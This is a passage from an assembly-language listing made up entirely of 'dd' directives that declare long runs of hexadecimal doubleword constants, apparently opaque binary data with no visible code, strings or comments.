0A5E81E2Ch, 699CC34Eh, 28B8E6E0h dd 0C2B2331h, 78C55E3Fh, 7F05F6F0h, 1097C2Fh, 8DEADDC6h dd 60F231EDh, 0A3BC241h, 7FDA2DF6h, 466345A1h, 430BB61h dd 32F61254h, 7716CC82h, 0BD253A16h, 0B77D9093h, 0F7801C3Fh dd 6FE7CC05h, 0DF908E06h, 0F807F54Fh, 2C73B050h, 20CE9047h dd 805839C7h, 0C98ADA81h, 84CFEAE9h, 5BD931EAh, 0C57EC1EEh dd 13BF7DCEh, 41AE5DEAh, 6B28B043h, 0C7547A3Ah, 6A0A41EAh dd 8F804F85h, 184BED4Ah, 82184CE9h, 0BA3B525Ah, 1F3D1F9Ah dd 3FC2F916h, 88818030h, 5AC05BF8h, 1823F8E0h, 341E3E8Ch dd 5B8FF0B4h, 0FE1607BAh, 918982C0h, 511E72F0h, 0CDC46EB5h dd 0C8BFDDF6h, 5EB74451h, 0AEF02DA9h, 79F924BDh, 71D4B1E1h dd 4B569FCFh, 0B72E3479h, 9E9C910h, 7C18CEDBh, 6394E57h dd 0CCDBF796h, 29BC5533h, 0DAF1B9C3h, 609EE9ECh, 93EE1725h dd 0ECE30842h, 7D828815h, 0AABEDEA0h, 86BFDA1Eh, 733CB79h dd 463CAEEAh, 0F559B20Ah, 13AA5806h, 40E27B6h, 0EE918570h dd 0BE074124h, 6DA5443Ah, 0C08519ABh, 2AFF2839h, 89258BE2h dd 0CA11F3E5h, 0D56C093Eh, 26F6846Eh, 562080B5h, 1FFE6851h dd 135DF47Bh, 9A34C465h, 2E6A519Ch, 52A2C8B9h, 50029ED0h dd 856F1D68h, 3DE1F719h, 163D20h, 44F251ADh, 52F5800Fh dd 5C03ACFCh, 8917DD1Ah, 51ABC2DCh, 0E55FCDABh, 0E62B0933h dd 0DD50AD56h, 7E799FF1h, 369FA25h, 5D39BB53h, 0D80015FDh dd 6BD80B94h, 9D40860Fh, 0C0ED9D89h, 136AA05h, 0BAA5F3E2h dd 5D2E0BCBh, 6FD6A714h, 0E9013379h, 10843EDEh, 0C27FF2EEh dd 7447A0E9h, 0C8A765DFh, 40B7E298h, 8217CAC1h, 507115Ch dd 0B19AFB48h, 80930D08h, 132BF2C2h, 9F4DE9FEh, 938240CAh dd 0D82EDC41h, 49D4E6Dh, 0F393C131h, 1288F389h, 0BCECFE91h dd 71298BBBh, 11E96184h, 39800464h, 1F552660h, 57C10112h dd 607CE1D6h, 3E4E8342h, 1F809947h, 6CF037A5h, 230B42Fh dd 8E2D0DBDh, 3153A7C0h, 0CF2034B1h, 25B8654Eh, 0ED1EAC4Ah dd 0E9B3986Ah, 66621B27h, 40AEF236h, 68F4AC20h, 2D45B23Dh dd 603B5625h, 8F44CCBBh, 7630477Dh, 12D84D4h, 5C41E07Eh dd 7409629h, 710D005Dh, 48634466h, 2500D0F7h, 65512C46h dd 2508022Dh, 0CB560401h, 4A9CE950h, 0B023BACEh, 6A9013E3h dd 0B234902Bh, 0D7482808h, 377932BDh, 3EBB5CAFh, 2713CB3Eh dd 3499AEDEh, 852AFCEDh, 0E6E2BFFBh, 3C0668B0h, 7BC17FABh dd 4C15737Fh, 43DB25E8h, 2839F1E1h, 4A54DA7Bh, 8F8F36ADh dd 2E75AA93h, 0C19A2BAh, 0C0F3CEE9h, 78CD5C80h, 31420112h dd 4217EF2h, 9A447581h, 59CEB10h, 1622A17h, 2B375AC0h dd 772B9821h, 0BAFBC048h, 53D922DAh, 0B1019A90h, 0E97C8F69h dd 0C86C2F92h, 480D3611h, 18174CA7h, 0ED65593Dh, 8C34139Ah dd 21C20086h, 0E9661545h, 0F8475520h, 2C0424D0h, 201213B6h dd 6926B121h, 90B2358h, 97C916Ah, 89F10817h, 2F32C62Dh dd 0F7195475h, 2C9BE4E0h, 97E95612h, 8DAB13C4h, 54682B9Fh dd 0A8D15A89h, 0E263DB3Ch, 2DCE54F6h, 251EB4FDh, 31E863E9h dd 191323C1h, 8B0B3870h, 94DB7615h, 0F78FF87Eh, 3B64DFA6h dd 0CA5062Ch, 1CD742h, 0A277C568h, 2AD5F5Ch, 0C24EDCEh dd 1C8E04Eh, 46AC0476h, 0A01E8A0Fh, 30F9D1A9h, 0BA3747h dd 0FE3F1498h, 578D9BEBh, 15AC9D72h, 0C4B55EA6h, 3C8B2588h dd 33D121DCh, 5073E900h, 8BDBB8B7h, 0A1F1BF04h, 55698367h dd 0D0BFEF46h, 5ECBD59h, 29AAC701h, 0D7016FB8h, 8044831h dd 0F52D8904h, 8133E7BAh dd 7B6C6857h, 77050426h, 0BE30B23Fh, 0DDCC67F1h, 9776722Dh dd 0D642882h, 0F4111229h, 0BC7112AFh, 0BC099E87h, 0BDD5222h dd 7DAC73D6h, 0E9994B4Bh, 1476EA1Fh, 0DD75BB80h, 0E5810Ah dd 2070761Eh, 0D7828E0Fh, 240DF5A9h, 7900BF71h, 81654413h dd 3B3A64E7h, 0F7027A82h, 47FE578Eh, 0BA168B80h, 0F9E4D801h dd 6417229Fh, 7916C46Dh, 33520046h, 65D2735h, 0A2020D7Fh dd 0E9137455h, 1B472FBh, 3D6047EDh, 0F5E889C8h, 64822AD4h dd 9C14D766h, 1F49D2FEh, 43293741h, 2603B4A3h, 968B3314h dd 5B32C257h, 6801440h, 0EC39DA25h, 2718A434h, 45D9DB70h dd 54064592h, 0EF160386h, 302FF16Bh, 2C80FDD6h, 0F2D8E0F2h dd 0B48E480Ch, 963476B1h, 8DFA317Ch, 49E43E2Eh, 19121EF5h dd 185624F1h, 84C343EAh, 251D5C18h, 0B19AF0Ch, 148B32CAh dd 98D43455h, 0B88940A3h, 0DC68A600h, 6A660D47h, 5A797F6Fh dd 5FACE4F2h, 0C0B55BF6h, 0C73975DAh, 0C271EF0Ah, 96ABB9E9h dd 84CFC676h, 0D9B829F9h, 0AD8578C6h, 7FD6C202h, 0E04AE76Bh dd 0C598994Dh, 944BB0FDh, 0BFB182EBh, 0C4627C5Eh, 86BE0042h dd 4E3DD652h, 0AE3A9650h, 6D1729A3h, 9329EE66h, 27D78A2Fh dd 0C40B5EC8h, 591AE0FCh, 275165BDh, 4127FED2h, 8793A31Ch dd 4D08C953h, 965BD03Bh, 1C7BE358h, 0F11A382Dh, 0B9631B2Dh dd 754F6FE1h, 0FF9C05EFh, 0A9527E4Fh, 0DD96AB8Eh, 0F69FB834h dd 0DA5EDA18h, 541E3209h, 0A429B725h, 5B98F06Eh, 5A0A8813h dd 0C8CFD404h, 2D8870EAh, 83323CE6h, 78F62223h, 57B3006Ah dd 0DA28F8B2h, 0E201805Bh, 6B551EBh, 0F5E0DDF6h, 70C5F66Ch dd 3AEA62AAh, 58057F07h, 0F08047EDh, 567E5D1Ah, 1180BE00h dd 0D6F7479Dh, 418A9D46h, 149F07F8h, 0DA356082h, 16103712h dd 1A3DF82Dh, 0AC04400Fh, 2293AB12h, 41BEA5E9h, 962AA57Fh dd 0C7012051h, 0CB547882h, 96070806h, 540B38BFh, 3EB4755Ah dd 6221ACB0h, 0FE90548h, 3728AEF1h, 0A2E7526Dh, 2C92898Ch dd 0F863D497h, 689576A7h, 1CFCEF1Ch, 0E423CC01h, 0E995ECF9h dd 0C2B1A05Bh, 53DFCE36h, 0EDAFA50Eh, 129AE44Ah, 0B3EB29C0h dd 0C145A25Dh, 0A97D1A0Ch, 3C2E7879h, 728840FEh, 5BD90EE3h dd 52695A58h, 97222951h, 0CE3BF802h, 0C925E96Bh, 0AA4755C1h dd 0C69783CAh, 19AB8806h, 2DECFE0Ch, 2F77278h, 7603A401h dd 9DD042DCh, 0F0285900h, 2C951C04h, 8B349F85h, 92900510h dd 3B2C5893h, 0D2249B36h, 68090B10h, 0E674038Dh, 0E8379660h dd 9D57B006h, 96D7BD89h, 34619F18h, 9ACD6AC5h, 20A59402h dd 1D25E0EAh, 5A5F352Fh, 3A990AD7h, 2082317h, 63E11F38h dd 0FCA2A27Ah, 0DD040A09h, 0CD71FA07h, 0BC40FB29h, 160F1B44h dd 498F5F3Fh, 985FC795h, 0A05BA21Dh, 4BA72544h, 3512BA16h dd 0F2580EEh, 3464B688h, 91A9C727h, 24DE2125h, 0EB3E5FC9h dd 262FDC80h, 0E67D1892h, 0BA1EBAB8h, 38F04018h, 5BD23CFCh dd 3D30EC32h, 2ABB816Dh, 1F79ACB9h, 302659DEh, 0D054CC2Eh dd 58181B5Ch, 590840CBh, 8B8BE09Ch, 0AE8638FDh, 31D6822Bh dd 0F4531302h, 8602554Fh, 0A40E761Dh, 149187FDh, 77F5D631h dd 7558D652h, 53C69451h, 5C8C06B2h, 79E96858h, 0ECF9079Ah dd 0E9736DFh, 0DEDBC6ADh, 0E95B0B72h, 0B6D917FAh, 493C3F26h dd 58C58A9h, 63ED19DCh, 16B193A4h, 0EE03704Dh, 0A7FC1091h dd 2E125C62h, 92E6EC36h, 0D9F6C10Bh, 1DD69ECh, 1307081Ch dd 9F58E70h, 16E405D8h, 69D33580h, 574E0395h, 0E90B3EBDh dd 0D720F413h, 6B667B96h, 9C204BB0h, 2C5C4EA3h, 0C550D9BEh dd 9F7BBFD5h, 0BD545D0Dh, 30FC0BA3h, 66E9975h, 0B24608A1h dd 5C924E25h, 0AA18C3F3h, 5DB7EB85h, 4A828B4Ah, 351227FEh dd 1891C2E5h, 619213DEh, 0EA4F1CBCh, 8C17692Ah, 0EF13E4ADh dd 3136E163h, 49CBE9F7h, 2458551h, 2356CD8h, 712D09D1h dd 8962D0F7h, 0CABBE920h, 0B125C27h, 0B09C331h, 71301050h dd 8054CFC9h, 0CB013CAEh, 0E2A9B252h, 0D3283E60h, 45BF98B0h dd 0D738B44h, 0CD293072h, 74078E8Ch, 0EF5B9C03h, 0B8F72D3Ah dd 241BBABDh, 14F8D73h, 0F16FABEAh, 63FC3EE5h, 83D0D7C9h dd 9A8DD8B5h, 0BBE595E1h, 0C02096BFh, 80138A8Ah, 0B7A3C029h dd 0DE80AD31h, 26058041h, 2FE07113h, 70525A1h, 8B252CBEh dd 0BD5B0940h, 218DA117h, 0B6462DD8h, 0E51D430h, 0CAF1911Ah dd 13459F00h, 21303B42h, 0E95831C5h, 5CD34087h, 42545331h dd 0D12DADD0h, 42CCD2DEh, 36ED80F7h, 41B04BE1h, 2DDC7BD0h dd 0EBEE0B71h, 3FD4025Fh, 0EAA1A0F0h, 0B02C3042h, 0F2E0229Bh dd 8CE3EF06h, 10CFB36h, 238F3AA4h, 79E6B0E9h, 20494813h dd 1D2D7D47h, 40730E28h, 1CEA0BD7h, 8D30840Fh, 0A81821B9h dd 89680583h, 0F0BEE9C6h, 0C5728893h, 0F659EF0Eh, 57F8E9D7h dd 81BB9CE9h, 47AAC28Bh, 0C3ED74E0h, 0E12E6B25h, 0FBA84241h dd 0EB24E95Ch, 6FA94D12h, 615C118h, 0E3ED284Ah, 803D58F7h dd 66CF3058h, 5E885059h, 0D4B187FCh, 30A0F138h, 74F3946h dd 44DC94C8h, 0E9FCD15h, 0E6CF4E0Bh, 38180CF4h, 0E458142Ch dd 0E95A5874h, 0EBC2C7Eh, 0A650ADC4h, 0C0F2DE8h, 4E505611h dd 0B14CB7B8h, 60BF7CC6h, 32F7B96Ch, 273E7C0h, 0DDA0EF5Eh dd 912851F9h, 9FB4E3FFh, 0FD91CEC7h, 163B97E9h, 0EB8EAEBAh dd 0A54FF33Ch, 4906DC6Ah, 0BDB96BE1h, 301F3C94h, 0E96DC22Ah dd 0E85FFAE2h, 0D3097353h, 6512A75Eh, 0F784EA08h, 0BFBF33F0h dd 0E255EA6Ah, 33C50FAFh, 2C8854E4h, 0A42515D0h, 31F105F8h dd 0E7A4C149h, 0B0249DE4h, 494DEEFh, 8337CA09h, 0E3C1CD50h dd 85DFAA35h, 4B8AF19Dh, 577C32F7h, 0C7348D09h, 12C71697h dd 0F805A5E9h, 66E0D7E3h, 32D14B45h, 41E8CE8Eh, 210BD2BBh dd 0F5010A2Fh, 0D1308A96h, 77C94E5h, 0E90A1666h, 8689C260h dd 54168D5Ch, 0EBE4E2ECh, 33851DF2h, 5FBE270h, 0C09CF180h dd 8CFAE416h, 0CBAAF670h, 0C4568783h, 53C97062h, 5DA1991Ah dd 2016CD2Eh, 6801EB07h, 0C141400Ch, 0E46E03E9h, 0B5141D11h dd 1DD02D72h, 0BB426BB2h, 0FE8F3002h, 840449B2h, 4EB12E7h dd 0ABFEF904h, 8A4844F7h, 0DF3A8D04h, 3E50BE71h, 61A64F08h dd 22F3210h, 0C6FC6B2Dh, 5E025550h, 1EC0F329h, 0B8167173h dd 1F2D5E26h, 0C135642h, 560A0BC8h, 0F21D6168h, 27DC6A88h dd 7BFE3F50h, 18F32C48h, 0CA73A4F8h, 0F6367D34h, 9C537580h dd 0B8F7493Ch, 35E9F2D9h, 0EE0FFA3Ah, 53E028D5h, 7C3772BAh dd 0F390A860h, 4694CC11h, 4AB17258h, 57EAC600h, 0C34E2942h dd 1B91841Ch, 6E6BF1Eh, 6BAE24F0h, 898D24EEh, 0C7E9706Ch dd 68342D60h, 0C46F4AB6h, 0EAC3A772h, 22ED9140h, 0F831BB41h dd 2518964Fh, 4BFFB077h, 0CAF1BDC1h, 77E56409h, 6819E39Eh dd 3F7B29B9h, 994EBA3Ch, 0FB802A60h, 41141AADh, 85D307Fh dd 5A7E189Fh, 7E271F35h, 0CEBD895Dh, 0E11F1948h, 5EBB6880h dd 5AAF3124h, 0B6CA3A57h, 5416824Ch, 0E0FDC9C4h, 7495D58Dh dd 7568E79Ch, 0CD5DCD49h, 28F1E8E0h, 0F4DCCDC4h, 16B05003h dd 9DD0ECC2h, 6C34872Fh, 0E90DC31Dh, 6831C0B1h, 109EBA54h dd 0F7D792Ch, 4171B34h, 0BC02F10Bh, 9173CDAEh, 0A6D447A7h dd 68510047h, 3CA53055h, 1FD6C097h, 613B040Eh, 0EA19890Fh dd 28BF10C5h, 0CA9F29E7h, 0B5BED00Eh, 0E9C221FBh, 269378E8h dd 91ACF29h, 0E531343h dd 0D71ADFA5h, 7BF41640h, 0AEF25h, 0A4146CDBh, 0E5810265h dd 7945133Bh, 4B8A1E60h, 3158D801h, 0DC49E9C5h, 5BDD6B82h dd 77DC2C87h, 0E97AB640h, 0A62D4F12h, 9D2F7A91h, 64E0D6FEh dd 6B45B18Ah, 0EC000BFCh, 8109572Ah, 712875CAh, 9720DD0Ah dd 2E667CFDh, 0DEFA3F7h, 305FE75Ch, 10F0684Ch, 0CF64695h dd 39CA06F9h, 0DC2FD32h, 0C4EE7EE9h, 0F68017FFh, 94783174h dd 7E342AD9h, 1805DA88h, 0A5A76CCh, 0BC4A5813h, 75072550h dd 39EC23D6h, 0FADD53B2h, 0E76812CEh, 50688C69h, 20CF46BFh dd 0B7A94D53h, 3014C552h, 2024A418h, 0CE01FD8Ah, 3C4F04CAh dd 0C1418A4h, 190C0F85h, 259D3909h, 4BCA5E01h, 33A91CDFh dd 0D1F79128h, 2CABE1E8h, 0C06E9D2Dh, 0EC90201Bh, 29C84B01h dd 5F1640B9h, 54093F76h, 1830C0E9h, 4FDB68E0h, 0E5D1AC59h dd 7B3399FAh, 7627FEE9h, 5855E8E2h, 79682829h, 0A124A82Ah dd 2D9F9066h, 759688B5h, 117E616h, 0A2D758A2h, 0AF0FC280h dd 76E057C8h, 5F81BEBBh, 0C7B142D8h, 2923528h, 8E5F72A2h dd 0FB8A3F76h, 94B6DE41h, 55F9B50Ah, 6A7BE962h, 3C407D3Ch dd 1403143h, 97159AF4h, 8A257A4Eh, 8940EFEAh, 427FE1E9h dd 73367D59h, 5A730247h, 253F1DBFh, 571A21A2h, 112E2D00h dd 9F41F0Eh, 0A04408C3h, 3E56E31h, 0EA53DFC2h, 1F01FB20h dd 815C6B6Ch, 0D851BF1h, 0AC26BFE9h, 60A81CCh, 7389298Dh dd 9C8B5558h, 5A4F4BD0h, 0B9016F89h, 5E02A915h, 15781677h dd 0F4416468h, 0E4FB0B85h, 701E8D46h, 0B8D60EDDh, 0B13EBDF1h dd 0E6CDE08Bh, 0DF93E794h, 86C74F4Fh, 4BCD7774h, 164249FDh dd 22C447Fh, 0AE36857h, 0ECB2667Bh, 0E8D149F5h, 0FA891D8Dh dd 0F1C688E1h, 25F2D46h, 57A78C5Eh, 2B68E7A0h, 3B4A2344h dd 97DAB80h, 3C404C35h, 0A4E54C2Eh, 0FD8625F7h, 63956A47h dd 83700BDCh, 0DF028413h, 51575FFBh, 0DEE9C12Dh, 0E3945209h dd 460A2660h, 5D314824h, 9FBCD30Dh, 0BB2E06Ah, 656B3914h dd 0EB2E15C6h, 519877CCh, 7FD4EA55h, 0C3DB70C1h, 257FF873h dd 0CA3AB75Dh, 3434CC55h, 0FF235EB1h, 0E8FD9684h, 87680F93h dd 0E3104D3h, 11C5875Ch, 620B0685h, 47BB09B1h, 0BFED82D9h dd 7E6800B1h, 6F5A9A2Bh, 0A44E68CBh, 65969B47h, 80C6FE09h dd 8C0FFCE9h, 0C0D66988h, 75B78DEh, 2B67B8B5h, 20F76965h dd 0A07846E5h, 83950E34h, 1A99FFC5h, 1762C405h, 0BDCE9C2Eh dd 0F450DD0Bh, 0ACDA0886h, 0F7015E05h, 5BF04983h, 8497AD11h dd 39E2B0C2h, 0FEDA5477h, 1331D660h, 0CFFE006Bh, 74020438h dd 0A50E4761h, 0E8EBF171h, 2453C3EFh, 20E2F72h, 0AF7ADE22h dd 0B12C1BD6h, 73A50713h, 8144C005h, 6804FEA2h, 2232AE87h dd 0EB42FF5Ch, 2A24C5FFh, 0E8832663h, 0A7880868h, 0B4310828h dd 0BC20577Fh, 0FC21BE93h, 0E5B34567h, 0F04FF856h, 0D5311B9Dh dd 0D2DDC3A0h, 657015E7h, 71F421A5h, 882D0158h, 3F25D7C0h dd 277D4709h, 0E579E1F8h, 0B7A5088Ch, 4B090CDh, 371D313Ah dd 86E3AE59h, 97DF6778h, 3AB07250h, 18A68BA1h, 2C5A8D80h dd 16EC4EEh, 7FC52085h, 0A7232049h, 0FFF9C969h, 41BF8320h dd 105FC058h, 63DF70A0h, 0CC272350h, 0CB314628h, 0E4DC15A1h dd 12D06A4h, 0F29455EEh, 0E2F5180h, 6CF819C9h, 8086209Ch dd 2009B613h, 9BE70BAEh, 85627EDEh, 8C67D02h, 8D0F12Ah dd 73255B50h, 83A0054Ch, 17177C40h, 90958216h, 0AC167E21h dd 0B1B46CF7h, 54C601ABh, 8568C0D8h, 755E6443h, 0F65C0FAEh dd 135B7C63h, 750E104Ah, 0B939E357h, 36594856h, 0B877F835h dd 360F7275h, 0A9064B28h, 0B5A70E7h, 720E685Dh, 0FB87FD71h dd 9028470h, 405A68D3h, 4F2980D1h, 0A73CE097h, 8CB3C952h dd 280967FEh, 716AA2FDh, 0CB03DCF3h, 0E9E180F6h, 2480F875h dd 0EE8021B7h, 0FE5C28F3h, 7ED32510h, 549E618Eh, 6A688B62h dd 8A657625h, 84F65AD5h, 8105E6C1h, 0FBBC38h, 323A79BEh dd 28BA07FAh, 0FCE28B55h, 0BF09B5CAh, 1E586B01h, 0F03B7807h dd 0E762D1D1h, 5B84F032h, 0F04ABE32h, 15E1C1Bh, 561660F7h dd 0D3CEE7Bh, 62F35E0Dh, 0B6A50746h, 0B084EE5Dh, 0E62DF4ABh dd 4628192h, 0EB7D2CDEh, 0A995A72Ch, 5DE2BC2h, 80CB0088h dd 0B25209F3h, 0C2FEEA05h, 9050FAE9h, 515027E8h, 0CADF9F6Dh dd 60F29CECh, 331E6E68h, 355A7F2Ch, 0DB1C6B01h, 16B212Ah dd 0C93EA51h, 0CE41FA33h, 2963295Ah, 2638E0DAh, 0DEC21217h dd 0EB800128h, 68C3C02Bh, 87382C26h, 0FE74B460h, 0E4D017CCh dd 0C1D61D80h, 0F6DC86C4h, 1608B5D3h, 0E9E30B02h, 5077D219h dd 2FA9FAB9h, 7D316Eh, 253D97B8h, 1D7FF316h, 240290E8h dd 8796F432h, 0E2D1AB42h, 6A6C851h, 5AA4989Eh, 1FB84E55h dd 0C01EDA24h, 7F694339h, 67E93813h, 32FF38C1h, 0B7B9C860h dd 68807E51h, 1FA66C2Fh, 0E381025Bh, 2A92496Eh, 7092840h dd 41CAF42Fh, 5FD6B97Ch, 510F3266h, 0ECB7F1B1h, 48B5C830h dd 5B1F9AC5h, 0FA12FE66h, 0C0A14020h, 43E905EDh, 0BA66A54Eh dd 2D6812AAh, 0C5FA0007h, 27FA47DEh, 33018298h, 0E9032A2Fh dd 543CA961h, 53E0D382h, 3EDC59E0h, 58152300h, 6F4D0F05h dd 2581E819h, 21E85C93h, 0A983B5BDh, 322C0BCBh, 94BA0C1h dd 0D19AF474h, 78D6494h, 342A0D5Eh, 0A852C115h, 0E5C3071Ah dd 0B0EC809h, 0D289140Fh, 0FC050C9Ah, 826F3219h, 325688ADh dd 80800290h, 8B0F0AE1h, 99903731h, 5E00733Ch, 7C00DE35h dd 0D8F70CB7h, 0E11BE668h, 0E177EC2Bh, 8747EE9h, 630B0DBBh dd 0CC2034E6h, 5D093865h, 70A6870Fh, 0E5A9644h, 22FECA78h dd 7967D935h, 0E7BD80AEh, 314E2FA3h, 65FD77F0h, 0BA9A67AAh dd 0CA099944h, 422EF2CBh, 107F09C8h, 6D536FFAh, 0E78000B4h dd 4ACE8102h, 10F72E43h, 0A8761680h, 0E08A4B71h, 7FEA69h dd 203A3683h, 370136BBh, 0EA7FDC0Ah, 5458A025h, 0F208A0E0h dd 0E2DE4B01h, 5CEED7AEh, 0A1C818ABh, 109636A9h, 0D54CD462h dd 0CE6B17ECh, 784AF09Fh, 870EC7A9h, 0C2D614F7h, 0B0008BF6h dd 3A11042Ah, 2C1DE0C0h, 0AF08D25Fh, 0FDDF9D81h, 2710F33Ah dd 5BE0046Ch, 646F8BAFh, 0E2BE557Dh, 2A82A79Eh, 620E87F3h dd 21A0913h, 5F12EA34h, 0C3765E6Ch, 54612F89h, 0F75D6313h dd 94BE9602h, 641A8430h, 0F4C23B92h, 197E1416h, 0EF044C2Ch dd 0FC87DDF0h, 3AC1595Ah, 273A915Dh, 0E8A58423h, 74BA06FEh dd 288334Eh, 6D48A0EAh, 26C02DAEh, 3ECA3F25h, 5A000705h dd 2015355Fh, 0F8D84E73h, 1DE9842Bh, 910CD0AAh, 74A4369h dd 4CF471F1h, 4C23B53Dh, 65F25C8Ch, 32149DFh, 7C060698h dd 0E1FA9FCDh, 0C48BE912h, 0BC9D88EEh, 3ABF7C09h, 0B67F0659h dd 0A1CB1D1Dh, 6231212h, 0E1DBB2CCh, 6177E340h, 6E1113Ch dd 7CA23A54h, 0A528A026h, 880023D4h, 354A1326h, 0CA532649h dd 0E03117B6h, 727B056Ch, 2D4CA6FEh, 757F3BC8h, 3870510Fh dd 0EB94144h, 3930B3EDh, 0D51916BBh, 750FB7Dh, 0AFE90B08h dd 0DF511AF5h, 0E9851F7Bh, 0AFF49BBFh, 176B6505h, 0D200960Eh dd 5F4F0778h, 32062B16h, 9D26D406h, 0C8EA2951h, 0BB126560h dd 6DD6DC15h, 554AA7EEh, 0EB4AA1B6h, 0D510E02Bh, 0CACA5AF2h dd 0B14FE510h, 12240A6h, 57B3100h, 72CA817Eh, 65A56D18h dd 0B25EA146h, 52EA1327h, 68D31457h, 637C4A60h, 70B77835h dd 739E8073h, 0BFE20921h dd 0AD5F82E9h, 0BC3E9CE8h, 1DEEF099h, 3590B701h, 719FA2F1h dd 0E8F7882Ah, 4DEDE961h, 0ECC1CB81h, 3A408A2Fh, 0F8FC4485h dd 0BB4150B6h, 108CCD30h, 1D6B5Bh, 0C02F5CEBh, 5E9FE997h dd 5DD59C45h, 80E569Fh, 5527B56Ch, 0DC485E9Ah, 5D905457h dd 0BC5B0140h, 61D8C262h, 5D8ED95Ch, 484A8769h, 90E4B5C2h dd 0B8A2E0C7h, 92FE9F75h, 851E5F25h, 0C9D80126h, 8C267E72h dd 31A8BD60h, 4245EF5Eh, 63ADC68Bh, 987A187Fh, 55920C1Dh dd 0D27F872Dh, 4108834Fh, 0A8E7140Ch, 5B4970A3h, 290CB80Ch dd 4008D35Bh, 9B2C1D1Ah, 3ED9B966h, 50A80475h, 0D6F0291Fh dd 0FE99573Bh, 0D9531423h, 81485063h, 280612C4h, 18310051h dd 13BAD92h, 0E05A9BB2h, 0C95EBA0Eh, 94E97885h, 0FAA4C3D9h dd 41681609h, 0CD1227Ch, 9DFBF5D3h, 10A2484h, 68CF28BFh dd 5916AA2Fh, 0E5EDC4C6h, 19AD7E66h, 21745E2Fh, 83E9185Ch dd 3D9F634Bh, 888ED5B9h, 0E9E341ECh, 55C2DD7Fh, 0E970C7F9h dd 84B46026h, 0FCFE680h, 0CCD18310h, 93C63C79h, 0BF0C8C8Ah dd 310E469Ah, 8E2C112h, 27D1A806h, 124A7730h, 0EA15058Fh dd 98557968h, 48640C01h, 0C20C05A9h, 1AE56112h, 0F07CBBF8h dd 0DA21044Ch, 0BE9A1EE9h, 0E36B06DDh, 83688237h, 2519EC79h dd 0D864B5E4h, 0C55B5CF0h, 8BB834B8h, 0A1993EE5h, 0B5E097Ch dd 20DF581Fh, 88084874h, 0EE015E0Ch, 4115ED2Ch, 9FED3BE6h dd 0BFB37113h, 5C0B3675h, 2FB055C1h, 23863897h, 50045F54h dd 684202B8h, 19D51C33h, 3BCB52DBh, 0BD93E211h, 0B83D56C4h dd 3ECA4E93h, 0FF2E8258h, 0F4EB44AEh, 68FF5E35h, 4E603DEh dd 74652C45h, 0FA7D12F6h, 0BFF9002Bh, 31B80259h, 2E9AF558h dd 8D407805h, 4ADC909Fh, 6834EE89h, 147446F9h, 8416E4Ch dd 2398901h, 2C34E926h, 0F4F1F0Ch, 4F749DAh, 0BB520180h dd 0A875F402h, 0AE225FC9h, 9CDFD40Bh, 4C2EFCC5h, 87A3C55Ah dd 0F3D9EFADh, 5F2C157Ch, 0FECB162Bh, 0AC13821Fh, 0A40119C3h dd 975E6BFh, 871B566Eh, 0FA4BF429h, 7CDA0F0Ch, 566181Fh dd 88583CAFh, 436A278Ch, 0C023E140h, 14AAB26Ah, 80492819h dd 3D5BE781h, 5A0D6BB3h, 145E6C8Bh, 0B8F0FA96h, 99E1BF5Ah dd 5C0E92F1h, 4BAC9AEBh, 512F8D91h, 0EC139D6Ah, 0BACF5F0h dd 5DEB3119h, 6080B29Ch, 1E34AEBFh, 4EB84767h, 1743B85Eh dd 0F4CA3864h, 7FB02384h, 726D01BAh, 54683DDEh, 0BF323B0Ah dd 2FF55C15h, 6CE20D0h, 5709C205h, 0F4A6C076h, 0B4AB785Bh dd 7F656F93h, 7115A306h, 42CE0C13h, 3AA9D7D0h, 0FFA15EC7h dd 79F38F00h, 0B8462D0Bh, 23830C0Eh, 0DDAE1296h, 21C46212h dd 3E905E01h, 0C36FC787h, 27B06AD1h, 34D0F301h, 0B8A65E08h dd 0BB49C813h, 54ACD231h, 0F92F1A25h, 49CED87Fh, 0BC449177h dd 0AC7C4025h, 0C630102Fh, 8A0F807Eh, 68FBF92Dh, 7996B733h dd 8550ED28h, 49F06857h, 0C38BF455h, 0D1988BF7h, 0C831421Ch dd 0E9B071F5h, 0F1128A73h, 418043C8h, 0F751308Eh, 72BB3C17h dd 87C50BAh, 51A01C60h, 18D63529h, 5A25DFBDh, 957894D5h dd 0CF88F47Ch, 3F0500F4h, 0F71FBC26h, 1327D87Ch, 0BCB9D9DBh dd 0EED56F96h, 0F3C2CA20h, 3C533E06h, 8116BB97h, 2A7E8B84h dd 1FF1C591h, 0F85DCE60h, 8B989C80h, 19D45057h, 9AB6D62h dd 995B09F5h, 902B527Eh, 887FB456h, 2058E109h, 0D8255CEh dd 52D7D7F6h, 8AE92DA8h, 505A3B82h, 0C328D2E0h, 16BCDE91h dd 9C47B622h, 0C93389E1h, 6DC7B5A0h, 50ADF190h, 0C8B62C52h dd 29F616A2h, 0CF59ECF2h, 0DEC10ACEh, 7D0C79FFh, 0F41F9B1Dh dd 35486F18h, 237458E0h, 0CE7789AFh, 1B02D130h, 30694BC9h dd 9E263905h, 1013502Bh, 75F2CD89h, 17C2A6D3h, 8CBA5EF7h dd 68015621h, 4EA7440Fh, 36BEAE9h, 51C8019Ch, 0BE17EFC1h dd 0A3A9CA77h, 0F45F4E4Ch, 0B372E9AFh, 0E60315BAh, 76880F05h dd 60E379C8h, 53E52E03h, 2D00489Eh, 0DF3B741Bh, 2FE9C631h dd 7D19BE54h, 5AD26C43h, 4C942BFAh, 0CD7FC4BAh, 0F752AC92h dd 22819AF9h, 86DB353h, 40023670h, 0E0002D33h, 16B4D4Bh dd 4DC968D8h, 0D4813F1Eh, 0F5624B64h, 34CCD281h, 7DFD692Fh dd 8EE265BBh, 0BF002250h, 3496158h, 270C65BEh, 0D656BAB7h dd 0EBF20118h, 8048B7CBh, 0C71F08B0h, 0E5282949h, 0AA040882h dd 37D388EBh, 4C5F0171h, 0A089250h, 0CE29DDE9h, 9E4AFE40h dd 12F2EC27h, 6BBB3C3h, 23711B30h, 0F51FC201h, 0D609EEBEh dd 28C6A130h, 0B5B29406h, 2133851h, 0B598EBEh, 0A06EAAE9h dd 8851528Eh, 7DEEE4FDh, 0E6793059h, 0F81CC667h, 50179E27h dd 58F380D1h, 0A33B33E9h, 77FBE723h, 95F22FAh, 6A3685A1h dd 0C7FA99D4h, 58C2E1E8h, 0C1F43021h, 0BAEB5Bh, 72BD5572h dd 0F94F5B2Eh, 0C72101AAh, 0E52413h, 0A0B951DFh, 955DE908h dd 0DDB30900h, 3A58D868h, 8852C253h, 0E34BFFDEh, 9BDFE0F2h dd 9DB7C9EEh, 79E14972h, 686485B1h, 305E1ACBh, 306E950Bh dd 2551150Ch, 55221AE3h, 4455D976h, 0BE63F084h, 0AE51887Bh dd 0E54B3628h, 